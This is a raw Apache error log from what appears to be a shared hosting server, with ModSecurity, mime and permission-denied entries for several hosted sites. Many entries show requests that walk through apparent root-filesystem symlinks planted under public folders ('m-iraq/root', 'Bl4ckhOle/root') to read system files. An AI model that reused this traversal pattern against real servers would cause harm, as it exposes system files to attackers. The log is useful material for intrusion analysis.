[Fri Jul 17 10:25:59.891454 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:59.988648 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:00.095776 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:00.239275 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:00.356010 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:00.369944 2026] [ssl:error] [pid 2076257:tid 2076257] (70014)End of file found: [client 66.85.158.91:50038] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:00.720771 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:01.315260 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:01.413574 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:02.021246 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:02.229435 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:02.232798 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:03.258122 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:03.570400 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:03.675539 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:03.983702 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:04.198191 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:04.550984 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:04.660749 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:04.756850 2026] [core:error] [pid 2075691:tid 2075691] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:0e/subsystem/uevent
[Fri Jul 17 10:26:05.395609 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:05.512181 2026] [core:error] [pid 2075691:tid 2075691] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:05/subsystem/uevent
[Fri Jul 17 10:26:06.595119 2026] [ssl:error] [pid 2075723:tid 2075723] (70014)End of file found: [client 66.85.158.91:33234] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:06.766721 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:07.395238 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:07.604386 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:07.816865 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:11/subsystem/tty63/power/runtime_status"] [unique_id "alm15x0C3r-GF3RTNAbTawAAAAY"]
[Fri Jul 17 10:26:07.816901 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:11/subsystem/tty63/power/runtime_status"] [unique_id "alm15x0C3r-GF3RTNAbTawAAAAY"]
[Fri Jul 17 10:26:07.918259 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:08.727612 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:08.919715 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:09.206502 2026] [ssl:error] [pid 2075908:tid 2075908] (5)Input/output error: [client 66.85.158.91:33394] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:10.063160 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:11.236986 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:12.255069 2026] [core:error] [pid 2075689:tid 2075689] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/bin/c++
[Fri Jul 17 10:26:12.554263 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:12.654773 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:12.760489 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:12.859837 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:12.959358 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:13.298174 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:13.301579 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:13.570530 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:13.663299 2026] [ssl:error] [pid 2076231:tid 2076231] (70014)End of file found: [client 66.85.158.91:48688] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:14.051986 2026] [security2:error] [pid 2075692:tid 2075692] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "emlproperties.lk"] [uri "/index.php"] [unique_id "alm17PTLXGCuVk4hiAO-zAAAAAs"]
[Fri Jul 17 10:26:14.052022 2026] [security2:error] [pid 2075692:tid 2075692] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "emlproperties.lk"] [uri "/index.php"] [unique_id "alm17PTLXGCuVk4hiAO-zAAAAAs"]
[Fri Jul 17 10:26:14.287333 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:14.324532 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:48750] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:14.489652 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:14.693813 2026] [security2:error] [pid 2076193:tid 2076193] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty62/subsystem/tty42/dev"] [unique_id "alm17rUVEJ3gwrjEiOQXfQAAABA"]
[Fri Jul 17 10:26:14.693863 2026] [security2:error] [pid 2076193:tid 2076193] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty62/subsystem/tty42/dev"] [unique_id "alm17rUVEJ3gwrjEiOQXfQAAABA"]
[Fri Jul 17 10:26:14.943865 2026] [ssl:error] [pid 2075693:tid 2075693] (70014)End of file found: [client 66.85.158.91:48762] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:15.272076 2026] [security2:error] [pid 2075908:tid 2075908] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm170j_u9-aE9qeQW0dTQAAAAk"], referer: http://anandaobauae.org/?66.249.65.143uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:26:15.272109 2026] [security2:error] [pid 2075908:tid 2075908] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm170j_u9-aE9qeQW0dTQAAAAk"], referer: http://anandaobauae.org/?66.249.65.143uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:26:15.469714 2026] [security2:error] [pid 2075689:tid 2075689] [client 57.141.18.9:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory23/subsystem/devices/memory51/subsystem/devices/memory20/node0/memory117/"] [unique_id "alm1716LQV5zcO01IS_B9QAAAAw"]
[Fri Jul 17 10:26:15.469847 2026] [security2:error] [pid 2075689:tid 2075689] [client 57.141.18.9:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory23/subsystem/devices/memory51/subsystem/devices/memory20/node0/memory117/"] [unique_id "alm1716LQV5zcO01IS_B9QAAAAw"]
[Fri Jul 17 10:26:15.821384 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:15.921473 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:16.360222 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:48850] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:16.435843 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:16.542780 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:16.948275 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:17.251552 2026] [security2:error] [pid 2075689:tid 2075689] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm18F6LQV5zcO01IS_B-AAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1054&page_105=2087
[Fri Jul 17 10:26:17.251586 2026] [security2:error] [pid 2075689:tid 2075689] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm18F6LQV5zcO01IS_B-AAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1054&page_105=2087
[Fri Jul 17 10:26:17.875981 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:17.977126 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:18.080915 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:18.121455 2026] [ssl:error] [pid 2075908:tid 2075908] (70014)End of file found: [client 66.85.158.91:48940] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:18.859943 2026] [ssl:error] [pid 2075723:tid 2075723] (70014)End of file found: [client 66.85.158.91:48996] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:18.997185 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:19.200000 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:19.304299 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:20.306294 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:20.576135 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:20.679962 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:20.733797 2026] [ssl:error] [pid 2075693:tid 2075693] (70014)End of file found: [client 66.85.158.91:49098] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:20.977964 2026] [security2:error] [pid 2075689:tid 2075689] [client 125.19.227.210:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nsteeleng-global": Permission denied [hostname "nsteeleng.com"] [uri "/xmlrpc.php"] [unique_id "alm19F6LQV5zcO01IS_B-wAAAAw"]
[Fri Jul 17 10:26:20.977996 2026] [security2:error] [pid 2075689:tid 2075689] [client 125.19.227.210:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nsteeleng-ip": Permission denied [hostname "nsteeleng.com"] [uri "/xmlrpc.php"] [unique_id "alm19F6LQV5zcO01IS_B-wAAAAw"]
[Fri Jul 17 10:26:21.704056 2026] [ssl:error] [pid 2076257:tid 2076257] (70014)End of file found: [client 66.85.158.91:53184] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:22.502512 2026] [ssl:error] [pid 2076193:tid 2076193] (70014)End of file found: [client 66.85.158.91:53210] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:23.170256 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:23.253587 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:53282] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:24.074825 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:24.886312 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:26.518277 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:26.518353 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:26.653831 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:27.519630 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:29.506373 2026] [security2:error] [pid 2075901:tid 2075901] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:11/subsystem/tty28/power/runtime_status"] [unique_id "alm1_WFDQ6dUmh6WfoaFBwAAAAc"]
[Fri Jul 17 10:26:29.506421 2026] [security2:error] [pid 2075901:tid 2075901] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:11/subsystem/tty28/power/runtime_status"] [unique_id "alm1_WFDQ6dUmh6WfoaFBwAAAAc"]
[Fri Jul 17 10:26:30.290037 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:30.291324 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/firebird/sample/"] [unique_id "alm1_h3_6y13_d3Np4_5VQAAAAE"]
[Fri Jul 17 10:26:30.291348 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/firebird/sample/"] [unique_id "alm1_h3_6y13_d3Np4_5VQAAAAE"]
[Fri Jul 17 10:26:30.292634 2026] [security2:error] [pid 2075691:tid 2075691] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:28/subsystem/tty18/power/runtime_status"] [unique_id "alm1_p-MjlCH45ePojRKWgAAABE"]
[Fri Jul 17 10:26:30.292681 2026] [security2:error] [pid 2075691:tid 2075691] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:28/subsystem/tty18/power/runtime_status"] [unique_id "alm1_p-MjlCH45ePojRKWgAAABE"]
[Fri Jul 17 10:26:30.322191 2026] [ssl:error] [pid 2076231:tid 2076231] (70014)End of file found: [client 66.85.158.91:53552] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:30.561087 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:30.920582 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:30.967252 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:53592] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:30.991220 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:31.103310 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:31.607291 2026] [autoindex:error] [pid 2075693:tid 2075693] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/etc/apache2/logs/
[Fri Jul 17 10:26:31.708578 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:31.811063 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:32.020161 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:32.120515 2026] [core:error] [pid 2076194:tid 2076194] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/bfq_queue/slabs
[Fri Jul 17 10:26:32.339817 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:32.441919 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:32.952612 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:33.069083 2026] [ssl:error] [pid 2075908:tid 2075908] (70014)End of file found: [client 66.85.158.91:45220] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:33.460949 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:34.070614 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:34.271828 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:34.799284 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:35.101733 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:35.404908 2026] [core:error] [pid 2076257:tid 2076257] (13)Permission denied: [client 57.141.18.14:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory63/node0/memory57/subsystem/devices/memory103/subsystem/devices/memory103/subsystem/uevent
[Fri Jul 17 10:26:35.404984 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:35.934099 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:36.766285 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:36.974864 2026] [ssl:error] [pid 2076132:tid 2076132] (70014)End of file found: [client 66.85.158.91:45450] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:37.044889 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:37.072296 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:37.167771 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:37.978214 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:38.288554 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:38.801585 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:39.006639 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:39.210466 2026] [security2:error] [pid 2076194:tid 2076194] [client 175.157.141.139:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/rs-plugin/js/extensions/revolution.extension.navigation.min.js"] [unique_id "alm2B5T6UchYzP7t8WhMUQAAABI"], referer: https://www.epid.gov.lk/weekly-epidemiological-report
[Fri Jul 17 10:26:39.210514 2026] [security2:error] [pid 2076194:tid 2076194] [client 175.157.141.139:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/rs-plugin/js/extensions/revolution.extension.navigation.min.js"] [unique_id "alm2B5T6UchYzP7t8WhMUQAAABI"], referer: https://www.epid.gov.lk/weekly-epidemiological-report
[Fri Jul 17 10:26:39.241153 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:40.284591 2026] [ssl:error] [pid 2075711:tid 2075711] (70014)End of file found: [client 66.85.158.91:45904] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:40.625265 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:40.833527 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:41.497115 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:43.016568 2026] [core:error] [pid 2076231:tid 2076231] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup10/device/subsystem/drivers/button/bind
[Fri Jul 17 10:26:43.188029 2026] [core:error] [pid 2075728:tid 2075728] (13)Permission denied: [client 57.141.18.8:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory88/subsystem/devices/memory40/subsystem/devices/memory61/node0/memory35/subsystem/drivers_probe
[Fri Jul 17 10:26:43.720289 2026] [ssl:error] [pid 2075705:tid 2075705] (70014)End of file found: [client 66.85.158.91:35502] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:43.907330 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:44.465550 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:44.605491 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:44.707527 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:45.200516 2026] [ssl:error] [pid 2075718:tid 2075718] (70014)End of file found: [client 66.85.158.91:35622] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:45.356987 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:46.196787 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:46.505167 2026] [core:error] [pid 2075723:tid 2075723] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/bfq_queue/shrink
[Fri Jul 17 10:26:46.811955 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:46.922721 2026] [core:error] [pid 2075690:tid 2075690] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory3/subsystem/uevent
[Fri Jul 17 10:26:47.236072 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:47.666386 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:48.021981 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:48.119659 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:48.567459 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:48.690822 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:49.530837 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
